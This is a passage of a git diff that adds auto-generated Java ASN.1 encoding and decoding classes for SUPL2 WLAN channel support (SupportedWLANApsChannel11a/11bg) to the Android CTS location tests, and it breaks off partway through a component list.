+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch149Type from encoded stream.
+ */
+ public static ch149Type fromPerAligned(byte[] encodedBytes) {
+ ch149Type result = new ch149Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch149Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch153Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch153Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch153Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch153Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch153Type != null) {
+ return ImmutableList.of(TAG_ch153Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch153Type from encoded stream.
+ */
+ public static ch153Type fromPerUnaligned(byte[] encodedBytes) {
+ ch153Type result = new ch153Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch153Type from encoded stream.
+ */
+ public static ch153Type fromPerAligned(byte[] encodedBytes) {
+ ch153Type result = new ch153Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch153Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch157Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch157Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch157Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch157Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch157Type != null) {
+ return ImmutableList.of(TAG_ch157Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch157Type from encoded stream.
+ */
+ public static ch157Type fromPerUnaligned(byte[] encodedBytes) {
+ ch157Type result = new ch157Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch157Type from encoded stream.
+ */
+ public static ch157Type fromPerAligned(byte[] encodedBytes) {
+ ch157Type result = new ch157Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch157Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch161Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch161Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch161Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch161Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch161Type != null) {
+ return ImmutableList.of(TAG_ch161Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch161Type from encoded stream.
+ */
+ public static ch161Type fromPerUnaligned(byte[] encodedBytes) {
+ ch161Type result = new ch161Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch161Type from encoded stream.
+ */
+ public static ch161Type fromPerAligned(byte[] encodedBytes) {
+ ch161Type result = new ch161Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch161Type = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SupportedWLANApsChannel11a = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11bg.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11bg.java
new file mode 100755
index 0000000..421e969
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11bg.java
@@ -0,0 +1,2111 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SupportedWLANApsChannel11bg extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SupportedWLANApsChannel11bg
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SupportedWLANApsChannel11bg() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SupportedWLANApsChannel11bg;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SupportedWLANApsChannel11bg != null) {
+ return ImmutableList.of(TAG_SupportedWLANApsChannel11bg);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SupportedWLANApsChannel11bg from encoded stream.
+ */
+ public static SupportedWLANApsChannel11bg fromPerUnaligned(byte[] encodedBytes) {
+ SupportedWLANApsChannel11bg result = new SupportedWLANApsChannel11bg();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SupportedWLANApsChannel11bg from encoded stream.
+ */
+ public static SupportedWLANApsChannel11bg fromPerAligned(byte[] encodedBytes) {
+ SupportedWLANApsChannel11bg result = new SupportedWLANApsChannel11bg();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SupportedWLANApsChannel11bg.ch1Type ch1_;
+ public SupportedWLANApsChannel11bg.ch1Type getCh1() {
+ return ch1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11bg.ch1Type
+ */
+ public void setCh1(Asn1Object value) {
+ this.ch1_ = (SupportedWLANApsChannel11bg.ch1Type) value;
+ }
+ public SupportedWLANApsChannel11bg.ch1Type setCh1ToNewInstance() {
+ ch1_ = new SupportedWLANApsChannel11bg.ch1Type();
+ return ch1_;
+ }
+
+ private SupportedWLANApsChannel11bg.ch2Type ch2_;
+ public SupportedWLANApsChannel11bg.ch2Type getCh2() {
+ return ch2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11bg.ch2Type
+ */
+ public void setCh2(Asn1Object value) {
+ this.ch2_ = (SupportedWLANApsChannel11bg.ch2Type) value;
+ }
+ public SupportedWLANApsChannel11bg.ch2Type setCh2ToNewInstance() {
+ ch2_ = new SupportedWLANApsChannel11bg.ch2Type();
+ return ch2_;
+ }
+
+ private SupportedWLANApsChannel11bg.ch3Type ch3_;
+ public SupportedWLANApsChannel11bg.ch3Type getCh3() {
+ return ch3_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11bg.ch3Type
+ */
+ public void setCh3(Asn1Object value) {
+ this.ch3_ = (SupportedWLANApsChannel11bg.ch3Type) value;
+ }
+ public SupportedWLANApsChannel11bg.ch3Type setCh3ToNewInstance() {
+ ch3_ = new SupportedWLANApsChannel11bg.ch3Type();
+ return ch3_;
+ }
+
+ private SupportedWLANApsChannel11bg.ch4Type ch4_;
+ public SupportedWLANApsChannel11bg.ch4Type getCh4() {
+ return ch4_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11bg.ch4Type
+ */
+ public void setCh4(Asn1Object value) {
+ this.ch4_ = (SupportedWLANApsChannel11bg.ch4Type) value;
+ }
+ public SupportedWLANApsChannel11bg.ch4Type setCh4ToNewInstance() {
+ ch4_ = new SupportedWLANApsChannel11bg.ch4Type();
+ return ch4_;
+ }
+
+ private SupportedWLANApsChannel11bg.ch5Type ch5_;
+ public SupportedWLANApsChannel11bg.ch5Type getCh5() {
+ return ch5_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11bg.ch5Type
+ */
+ public void setCh5(Asn1Object value) {
+ this.ch5_ = (SupportedWLANApsChannel11bg.ch5Type) value;
+ }
+ public SupportedWLANApsChannel11bg.ch5Type setCh5ToNewInstance() {
+ ch5_ = new SupportedWLANApsChannel11bg.ch5Type();
+ return ch5_;
+ }
+
+ private SupportedWLANApsChannel11bg.ch6Type ch6_;
+ public SupportedWLANApsChannel11bg.ch6Type getCh6() {
+ return ch6_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11bg.ch6Type
+ */
+ public void setCh6(Asn1Object value) {
+ this.ch6_ = (SupportedWLANApsChannel11bg.ch6Type) value;
+ }
+ public SupportedWLANApsChannel11bg.ch6Type setCh6ToNewInstance() {
+ ch6_ = new SupportedWLANApsChannel11bg.ch6Type();
+ return ch6_;
+ }
+
+ private SupportedWLANApsChannel11bg.ch7Type ch7_;
+ public SupportedWLANApsChannel11bg.ch7Type getCh7() {
+ return ch7_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11bg.ch7Type
+ */
+ public void setCh7(Asn1Object value) {
+ this.ch7_ = (SupportedWLANApsChannel11bg.ch7Type) value;
+ }
+ public SupportedWLANApsChannel11bg.ch7Type setCh7ToNewInstance() {
+ ch7_ = new SupportedWLANApsChannel11bg.ch7Type();
+ return ch7_;
+ }
+
+ private SupportedWLANApsChannel11bg.ch8Type ch8_;
+ public SupportedWLANApsChannel11bg.ch8Type getCh8() {
+ return ch8_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11bg.ch8Type
+ */
+ public void setCh8(Asn1Object value) {
+ this.ch8_ = (SupportedWLANApsChannel11bg.ch8Type) value;
+ }
+ public SupportedWLANApsChannel11bg.ch8Type setCh8ToNewInstance() {
+ ch8_ = new SupportedWLANApsChannel11bg.ch8Type();
+ return ch8_;
+ }
+
+ private SupportedWLANApsChannel11bg.ch9Type ch9_;
+ public SupportedWLANApsChannel11bg.ch9Type getCh9() {
+ return ch9_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11bg.ch9Type
+ */
+ public void setCh9(Asn1Object value) {
+ this.ch9_ = (SupportedWLANApsChannel11bg.ch9Type) value;
+ }
+ public SupportedWLANApsChannel11bg.ch9Type setCh9ToNewInstance() {
+ ch9_ = new SupportedWLANApsChannel11bg.ch9Type();
+ return ch9_;
+ }
+
+ private SupportedWLANApsChannel11bg.ch10Type ch10_;
+ public SupportedWLANApsChannel11bg.ch10Type getCh10() {
+ return ch10_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11bg.ch10Type
+ */
+ public void setCh10(Asn1Object value) {
+ this.ch10_ = (SupportedWLANApsChannel11bg.ch10Type) value;
+ }
+ public SupportedWLANApsChannel11bg.ch10Type setCh10ToNewInstance() {
+ ch10_ = new SupportedWLANApsChannel11bg.ch10Type();
+ return ch10_;
+ }
+
+ private SupportedWLANApsChannel11bg.ch11Type ch11_;
+ public SupportedWLANApsChannel11bg.ch11Type getCh11() {
+ return ch11_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11bg.ch11Type
+ */
+ public void setCh11(Asn1Object value) {
+ this.ch11_ = (SupportedWLANApsChannel11bg.ch11Type) value;
+ }
+ public SupportedWLANApsChannel11bg.ch11Type setCh11ToNewInstance() {
+ ch11_ = new SupportedWLANApsChannel11bg.ch11Type();
+ return ch11_;
+ }
+
+ private SupportedWLANApsChannel11bg.ch12Type ch12_;
+ public SupportedWLANApsChannel11bg.ch12Type getCh12() {
+ return ch12_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11bg.ch12Type
+ */
+ public void setCh12(Asn1Object value) {
+ this.ch12_ = (SupportedWLANApsChannel11bg.ch12Type) value;
+ }
+ public SupportedWLANApsChannel11bg.ch12Type setCh12ToNewInstance() {
+ ch12_ = new SupportedWLANApsChannel11bg.ch12Type();
+ return ch12_;
+ }
+
+ private SupportedWLANApsChannel11bg.ch13Type ch13_;
+ public SupportedWLANApsChannel11bg.ch13Type getCh13() {
+ return ch13_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11bg.ch13Type
+ */
+ public void setCh13(Asn1Object value) {
+ this.ch13_ = (SupportedWLANApsChannel11bg.ch13Type) value;
+ }
+ public SupportedWLANApsChannel11bg.ch13Type setCh13ToNewInstance() {
+ ch13_ = new SupportedWLANApsChannel11bg.ch13Type();
+ return ch13_;
+ }
+
+ private SupportedWLANApsChannel11bg.ch14Type ch14_;
+ public SupportedWLANApsChannel11bg.ch14Type getCh14() {
+ return ch14_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11bg.ch14Type
+ */
+ public void setCh14(Asn1Object value) {
+ this.ch14_ = (SupportedWLANApsChannel11bg.ch14Type) value;
+ }
+ public SupportedWLANApsChannel11bg.ch14Type setCh14ToNewInstance() {
+ ch14_ = new SupportedWLANApsChannel11bg.ch14Type();
+ return ch14_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh1();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11bg.ch1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch1 : "
+ + getCh1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh2();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11bg.ch2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch2 : "
+ + getCh2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh3() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh3();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh3ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11bg.ch3Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch3 : "
+ + getCh3().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh4() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh4();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh4ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11bg.ch4Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch4 : "
+ + getCh4().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh5() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh5();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh5ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11bg.ch5Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch5 : "
+ + getCh5().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh6() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh6();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh6ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11bg.ch6Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch6 : "
+ + getCh6().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh7() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh7();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh7ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11bg.ch7Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch7 : "
+ + getCh7().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh8() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh8();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh8ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11bg.ch8Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch8 : "
+ + getCh8().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh9() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh9();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh9ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11bg.ch9Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch9 : "
+ + getCh9().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh10() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh10();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh10ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11bg.ch10Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch10 : "
+ + getCh10().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh11() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh11();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh11ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11bg.ch11Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch11 : "
+ + getCh11().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh12() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh12();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh12ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11bg.ch12Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch12 : "
+ + getCh12().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh13() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh13();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh13ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11bg.ch13Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch13 : "
+ + getCh13().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 13);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh14() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh14();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh14ToNewInstance();
+ }
+
